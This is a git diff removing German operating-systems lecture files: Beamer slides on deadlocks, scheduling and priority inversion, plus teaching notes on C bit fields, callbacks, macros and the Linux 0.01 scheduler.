Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}\pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \alt<1-4>{% - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - }{% - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - } - \only<2>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<3-4>{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} -% \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<2>{% - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \put(0,1){\line(1,0){10}} - } - - \only<5->{% - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \only<1>{% - \begin{center} - \includegraphics[width=8.5cm]{pathfinder.jpg} - \vspace*{-1.5cm} - \end{center} - } - - \bigskip - - \only<2>{% - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \end{itemize} - - \bigskip - - \begin{minipage}{7.0cm} - \begin{flushright} - \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/} - \end{flushright} - \end{minipage} - - \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm} - } - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} - \only<1-2>{% - \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} - } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - - \only<3->{% - \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}} - \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \bigskip - - Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} -% \only<1>{% -% \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}} -% } - \put(0,1){\line(1,0){10}} - -% \only<1>{% -% \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}} -% \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}} -% } - \put(0,2){\line(1,0){10}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} -% \only<1>{% -% \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} -% } - \put(0,3){\line(1,0){10}} - -% \only<2>{% -% \only<2>{% - \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}} - \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}} - \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}} -% } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ \newterm{unbegrenzte Prioritätsinversion} - - \medskip - - Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997 - - \bigskip - - Gegenmaßnahmen - \begin{itemize} - \item - \newterm{Priority Inheritance -- Prioritätsvererbung}\\ - Der Besitzer des Mutex erbt die Priorität\\ - des Prozesses, der auf den Mutex wartet. - \smallskip - \item - \newterm{Priority Ceiling -- Prioritätsobergrenze}\\ - Der Besitzer des Mutex bekommt sofort\\ - die Priorität des höchstmöglichen Prozesses,\\ - der evtl.\ den Mutex benötigen könnte. - \pause - \begin{picture}(0,0) - \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$ - \begin{minipage}{4cm} - nur möglich, wenn\\ - Mutexe im Spiel sind - \end{minipage}}} - \end{picture} - \smallskip - \pause - \item - \newterm{Priority Aging}\\ - Die Priorität wächst mit der Wartezeit. - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\end{document} diff --git a/20220613/bs-20220613.txt b/20220613/bs-20220613.txt deleted file mode 100644 index 240fdb2975a8ec36a20283a07b3cc1b4a02aa67f..0000000000000000000000000000000000000000 --- a/20220613/bs-20220613.txt +++ /dev/null @@ -1,164 +0,0 @@ -Wertebereiche von Bitfeldern, 13.06.2022, 11:58:01 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Syntax: - - struct { - unsigned LEDsR:3; - unsigned LEDsL:3; - unsigned reserved:2; - }; - -LEDsR ist ein vorzeichenloses Bit-Feld, bestehend aus 3 Bits. -Wertebereich: 0 bis 7 - -Dasselbe als vorzeichenbehaftetes Bit-Feld: - - struct { - int LEDsR:3; - int LEDsL:3; - int reserved:2; - }; - -Wertebereich bei 3 Bit: -4 bis 3 - -Warum? - - * 3 Bits --> Wir haben 8 Werte zur Verfügung. - - * Welche wir als positiv und welche als negativ interpretieren, - ist Sache der Konvention. - - Damit die Hardware mit den Zahlen effizient rechnen kann, - verwenden wir kein Offset, sondern behalten das Bitmuster - 000 für den Wert 0, 001 für 1 usw. - 000 001 010 011 100 101 110 111 - - alle positiv --> vorzeichenlose Zahl 0 1 2 3 4 5 6 7 - - -1 bis 6 0 1 2 3 4 5 6 -1 - - -2 bis 5 0 1 2 3 4 5 -2 -1 - - ... - - -7 bis 0 0 -7 -6 -5 -4 -3 -2 -1 - - In Hardware implementierte Konvention: MSB = Vorzeichen-Bit - Vorteil: Die Hardware erkennt anhand des MSB das Vorzeichen. - - 000 001 010 011 100 101 110 111 - 0 1 2 3 -4 -3 -2 -1 - -Aufgabe: Welchen Wertebereich hat eine vorzeichenbehaftete 1-Bit-Zahl? - -Lösung (per Mehrheitsbeschluß;-): 0 und -1 - -Überprüfung (unions-03.c): Stimmt. :-) - -Begründung: Das einzige Bit ist gleichzeitig das MSB. - Wenn es gesetzt ist, muß der Wert negativ interpretiert werden. - Dann sind alle Bits = 1, was der Zahl -1 entspricht. - -Was ist ein Callback? 13.06.2022, 13:15:47 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Ziel: Reaktion auf ein Ereignis -Beispiel: Ereignis: Bumper hat Hindernis erkannt. Reaktion: Anhalten. - -Weg dorthin: Bibliothek stellt einen "Callback"-Mechanismus zur Verfügung. - -Wir schreiben für die Reaktion eine Funktion. Hier z.B.: anhalten und blinken - - void bumpersStateChanged(void) - { - if(bumper_left || bumper_right) - { - moveAtSpeed(0,0); - setLEDs(0b010000); - startStopwatch1(); - } - } - -Vor dem Losfahren teilen wir der Bibliothek mit, daß sie diese Funktion -aufrufen soll, wenn das Ereignis (hier: Bumper löst aus) eintritt. - - BUMPERS_setStateChangedHandler(bumpersStateChanged); - -"Wenn sich der Zustand der Bumper ändert, -bitte die Funktion bumpersStateChanged() aufrufen." - -Später läuft dann die Hauptschleife der Bibliothek. -Diese ruft dann bei Bedarf die übergebene Funktion -("Callback-Funktion") auf. - -Variante dieses Konzepts: virtuelle Methode überschreiben - -Beispiel: GUI-Bibliothek -Ein GUI-Element hat eine virtuelle Methode, um seinen Inhalt darzustellen. -Wenn ich ein neues GUI-Element definiere, muß ich diese Methode überschreiben, -damit es seinen spezifischen Inhalt darstellen kann. - -Die GUI ruft dann bei Bedarf die virtuelle Methode auf ("Callback"). - -Beispiel: GUI-Bibliothek - - GTK in C: Callback-Funktion installieren - - GTK in C++: virtuelle Methode überschreiben - -Wie funktionieren Callbacks? 13.06.2022, 13:14:34 -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -// Bumpers State changed handler: - - void BUMPERS_stateChanged_DUMMY(void){} - static void (*BUMPERS_stateChangedHandler)(void) = BUMPERS_stateChanged_DUMMY; - /** - * Use this function to set the Bumpers state change handler. - * - */ - void BUMPERS_setStateChangedHandler(void (*bumperHandler)(void)) - { - BUMPERS_stateChangedHandler = bumperHandler; - } - -Callback installieren: Funktion BUMPERS_setStateChangedHandler() - -Parameter der Funktion: void (*bumperHandler)(void) - "Funktion mit dem Namen '(*bumperHandler)'" - --> *bumerHandler ist eine Funktion. - --> Das, worauf bumerHandler zeigt, ist eine Funktion. - --> bumerHandler ist ein Zeiger auf eine Funktion. - -Aufruf von BUMPERS_setStateChangedHandler: - - BUMPERS_setStateChangedHandler(bumpersStateChanged); - - Wir übergeben die Adresse der Funktion bumpersStateChanged(). - Insbesondere rufen wir die Funktion bumpersStateChanged() nicht auf. - (Um sie aufzurufen, bräuchte man das Klammerpaar.) - -BUMPERS_setStateChangedHandler() merkt sich den Funktionszeiger -auf einer globalen Variablen BUMPERS_stateChangedHandler gleichen Typs. - -Diese Variable, ein Zeiger auf eine Funktion, zeigte vorher auf eine -Funktion BUMPERS_stateChanged_DUMMY, die nichts macht. - -Aber wer ruft nun tatsächlich die Callback-Funktion auf? - -Dies geschieht in der Funktion task_Bumpers(). -Diese Funktion - - schaut auf die Uhr: Sie wird höchstens alle 50 Millisekunden aktiv (weiche Echtzeit). - - fragt den Zustand der Bumper ab. - - ruft, sofern sich der Zustand der Bumper geändert hat, die Callback-Funktion auf. - -Verbleibende Fragen: - - Wie funktioniert die Abfrage des Zustands der Bumper? - - Wer ruft task_Bumpers() auf? - -Wie funktioniert die Abfrage des Zustands der Bumper? - - Der linke Bumper und LED Nr. 6 teilen sich einen Port - (Bumper als Input, LED als Output). - - Wir schalten LED Nr. 6 aus. - - Wir schalten den Port als Input. - - Wir warten einen Taktzyklus, damit der Prozessor den Input auslesen kann. - - Wir lesen den Input-Port. - - Sofern LED Nr. 6 leuchten soll, schalten wir den Port zurück auf Output - und die LED ein. - -Wer ruft task_Bumpers() auf? - - task_RP6System() ruft task_Bumpers() auf. - - Das Hauptprogramm ruft in seiner Hauptschleife task_RP6System() auf - ("kooperatives Multitasking"). - Ohne dies würden die Bumper nicht funktionieren. diff --git a/20220613/curiosity.jpg b/20220613/curiosity.jpg deleted file mode 120000 index 4452844da537414b751c5283ca8468b3ced9afb3..0000000000000000000000000000000000000000 --- a/20220613/curiosity.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/curiosity.jpg \ No newline at end of file diff --git a/20220613/dsc_8208.jpg b/20220613/dsc_8208.jpg deleted file mode 120000 index 5796341ebc774aa09965a3a29854c65ce1144fb8..0000000000000000000000000000000000000000 --- a/20220613/dsc_8208.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/dsc_8208.jpg \ No newline at end of file diff --git a/20220613/herzschrittmacher.jpg b/20220613/herzschrittmacher.jpg deleted file mode 120000 index 92d8f0053003cc555aec83f5d088f1cec822ad81..0000000000000000000000000000000000000000 --- a/20220613/herzschrittmacher.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/herzschrittmacher.jpg \ No newline at end of file diff --git a/20220613/logo-hochschule-bochum-cvh-text.pdf b/20220613/logo-hochschule-bochum-cvh-text.pdf deleted file mode 120000 index a05946126bc0ce6a2818740da2893f59eb0c659c..0000000000000000000000000000000000000000 --- a/20220613/logo-hochschule-bochum-cvh-text.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text.pdf \ No newline at end of file diff --git a/20220613/logo-hochschule-bochum.pdf b/20220613/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20220613/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20220613/pathfinder.jpg b/20220613/pathfinder.jpg deleted file mode 120000 index 23c6444fee26e0cf0dd2f8639484b00aa5021b59..0000000000000000000000000000000000000000 --- a/20220613/pathfinder.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/pathfinder.jpg \ No newline at end of file diff --git a/20220613/pgslides.sty b/20220613/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20220613/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20220613/philosophenproblem.jpg b/20220613/philosophenproblem.jpg deleted file mode 120000 index 26591b2ac2dddfd4786814baf3f19ecb67f1f5ee..0000000000000000000000000000000000000000 --- a/20220613/philosophenproblem.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/philosophenproblem.jpg \ No newline at end of file diff --git a/20220613/quadrocopter.jpg b/20220613/quadrocopter.jpg deleted file mode 120000 index 7eaf0c024b63b7bc1dd3df2c17c8ab93f67fc15c..0000000000000000000000000000000000000000 --- a/20220613/quadrocopter.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/quadrocopter.jpg \ No newline at end of file diff --git a/20220613/rp6.jpg b/20220613/rp6.jpg deleted file mode 100644 index 1695afb690b4fb78878236a1efd0d5c6328370f4..0000000000000000000000000000000000000000 Binary files a/20220613/rp6.jpg and /dev/null differ diff --git a/20220613/unions-03.c b/20220613/unions-03.c deleted file mode 100644 index d301f78fecd28719cb0dafa090a88cc08e5cbb5f..0000000000000000000000000000000000000000 --- a/20220613/unions-03.c +++ /dev/null @@ -1,23 +0,0 @@ -#include <stdio.h> -#include <stdint.h> - -typedef union -{ - uint8_t byte; - struct - { - unsigned bit0 : 1; - unsigned bit1 : 1; - int bit2 : 1; - int bit3 : 1; - }; -} data; - -int main (void) -{ - data d; - d.byte = 0x0a; - printf ("d.bit0 = %d, d.bit1 = %d, d.bit2 = %d, d.bit3 = %d\n", - d.bit0, d.bit1, d.bit2, d.bit3); - return 0; -} diff --git a/20220613/xbee.jpg b/20220613/xbee.jpg deleted file mode 120000 index ff0adff2eadf3d9b775d03cea8cf1f118534e2b9..0000000000000000000000000000000000000000 --- a/20220613/xbee.jpg +++ /dev/null @@ -1 +0,0 @@ -../common/xbee.jpg \ No newline at end of file diff --git a/20220620/bs-20220620.txt b/20220620/bs-20220620.txt deleted file mode 100644 index 9d8e8d26c291dab75e8e05e3a01e9351e59d3de0..0000000000000000000000000000000000000000 --- a/20220620/bs-20220620.txt +++ /dev/null @@ -1,60 +0,0 @@ -Macro zum Setzen eines Wertes (RP6-Bibliothek): - - #define setStopwatch1(__VALUE__) stopwatches.watch1 = __VALUE__ - -Benutzung: - - setStopwatch1 (0); - -Falsche Benutzung: - - setStopwatch1 (0) + 42; /* kein sinnvoller Funktionsaufruf */ - -expandiert zu - - stopwatches.watch1 = 0 + 42; - ---> Falsche Benutzung ist möglich. - - -Macro im Linux-Kernel: - - - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - -"do xxx while (0)" bedeutet: "mache xxx genau einaml". - -Benutzung: - - spin_lock_mutex (my_lock, my_flags); - -expandiert zu - - do - { - spin_lock (my_lock); - (void) (my_flags); - } - while (0); - -Falsche Benutzung: - - spin_lock_mutex (my_lock, my_flags) + 42; - - do - { - spin_lock (my_lock); - (void) (my_flags); - } - while (0) + 42; - ---> Falsche Benutzung ist nicht möglich. - -Fazit: "do xxx while (0)" ermöglicht die Verwendung des Macros -wie eine Funktion, ohne dadurch eine falsche Benutzung zu ermöglichen. diff --git a/20220620/sched.c b/20220620/sched.c deleted file mode 100644 index 3cec73a4d18b4efd840affb3dae794617a71498f..0000000000000000000000000000000000000000 --- a/20220620/sched.c +++ /dev/null @@ -1,171 +0,0 @@ -struct task_struct *task[NR_TASKS]; - -/* - * 'schedule()' is the scheduler function. This is GOOD CODE! There - * probably won't be any reason to change this, as it should work well - * in all circumstances (ie gives IO-bound processes good response etc). - * The one thing you might take a look at is the signal-handler code here. - * - * NOTE!! Task 0 is the 'idle' task, which gets called when no other - * tasks can run. It can not be killed, and it cannot sleep. The 'state' - * information in task[0] is never used. - */ -void schedule(void) -{ - int i,next,c; - struct task_struct ** p; - -/* check alarm, wake up any interruptible tasks that have got a signal */ - - for(p = &LAST_TASK ; p > &FIRST_TASK ; --p) - if (*p) { - if ((*p)->alarm && (*p)->alarm < jiffies) { - (*p)->signal |= (1<<(SIGALRM-1)); - (*p)->alarm = 0; - } - if ((*p)->signal && (*p)->state==TASK_INTERRUPTIBLE) - (*p)->state=TASK_RUNNING; - } - -/* this is the scheduler proper: */ - - while (1) { - c = -1; - next = 0; - i = NR_TASKS; - p = &task[NR_TASKS]; /* außerhalb des Arrays! */ - while (--i) { - if (!*--p) /* jetzt innerhalb des Arrays */ - continue; - if ((*p)->state == TASK_RUNNING && (*p)->counter > c) - c = (*p)->counter, next = i; - } - if (c) break; - for(p = &LAST_TASK ; p > &FIRST_TASK ; --p) - if (*p) - (*p)->counter = ((*p)->counter >> 1) + - (*p)->priority; - } - switch_to(next); -} - --------------------------------------------------------------------------------- - - while (--i) { - if (!*--p) /* jetzt innerhalb des Arrays */ - ; /* do nothing */ - else if ((*p)->state == TASK_RUNNING && (*p)->counter > c) - c = (*p)->counter, next = i; - } - --------------------------------------------------------------------------------- - - - while (--i) { - if (*--p) /* jetzt innerhalb des Arrays */ - if ((*p)->state == TASK_RUNNING && (*p)->counter > c) - c = (*p)->counter, next = i; - } - --------------------------------------------------------------------------------- - -struct task_struct *task[NR_TASKS]; - -/* ... */ - - struct task_struct ** p; - -/* ... */ - - /* Das zweite if wird ausgeführt, wenn *p != NULL ist, - * wenn also der Zeiger-Zeiger p auf einen Zeiger != NULL zeigt. - */ - - c = -1; - next = 0; - i = NR_TASKS; - p = &task[NR_TASKS]; /* außerhalb des Arrays! */ - while (--i) { - if (!*--p) /* jetzt innerhalb des Arrays */ - continue; - if ((*p)->state == TASK_RUNNING && (*p)->counter > c) - c = (*p)->counter, next = i; - } - - /* Diese Schleife ermittelt den größten Wert von (*p)->counter - * innerhalb des Arrays, setzt c auf diesen Counter und - * setzt next auf den Index, wo der Counter gefunden wurde. - * - * Das anschließende switch_to(next); gibt also demnigen Programm - * Rechenzeit, dessen (*p)->counter am größten ist. - */ - --------------------------------------------------------------------------------- - - Wie funktioniert diese Zeile? - - c = (*p)->counter, next = i; - - Üblicher wäre: - - if ((*p)->state == TASK_RUNNING && (*p)->counter > c) { - c = (*p)->counter; - next = i; - } - - Die Zeile enhält einen Komma-Operator: - - c = (*p)->counter, next = i; - - "Berechne den Ausdruck 'c = (*p)->counter', vergiß ihn wieder, - und berechne stattdessen den Ausdruck 'next = i'." - Das Ergebnis des Ausdrucks wird dann wieder verworfen. - Beide Teilausdrücke haben jedoch Seiteneffekte, nämlich die - Zuweisungen. - - --> "c = (*p)->counter, next = i;" führt in einem Befehl zwei - Zuweisungen aus. Dies funktioniert nur, weil beide Ausdrücke - denselben Typ (int) haben. - Wir sparen uns auf diese Weise ein Semikolon und ein Paar - geschweifter Klammern. (Jedoch keine Rechenzeit. Der erzeugte - Code 